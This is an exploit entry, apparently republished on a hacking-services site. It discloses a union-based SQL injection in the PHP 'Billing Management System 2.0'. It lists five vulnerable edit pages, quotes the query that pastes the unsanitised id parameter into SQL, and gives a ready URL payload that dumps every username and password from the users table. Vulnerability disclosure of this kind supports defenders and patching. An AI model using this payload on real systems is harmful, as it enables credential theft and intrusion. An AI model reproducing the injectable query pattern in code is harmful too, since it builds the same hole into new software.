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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Billing Management System 2.0 - Union based SQL injection (Authenticated)
# Date: 2021-05-16
# Exploit Author: Mohammad Koochaki
# Vendor Homepage: https://www.sourcecodester.com/php/14380/billing-management-system-php-mysql-updated.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14380&title=Billing+Management+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 2.0

# This web application contains several SQL injection vulnerabilities in the following paths:
        - http://localhost/editgroup.php?id=1
        - http://localhost/edituser.php?id=1
        - http://localhost/editcategory.php?id=10
        - http://localhost/editproduct.php?id=1
        - http://localhost/editsales.php?id=1

# PoC (editgroup.php):

- Vulnerable code:
        $sql="SELECT * from user_groups where delete_status='0' and
id='".$_GET['id']." '";

- Payload:

http://localhost/editgroup.php?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),3,4,5%20from%20users--+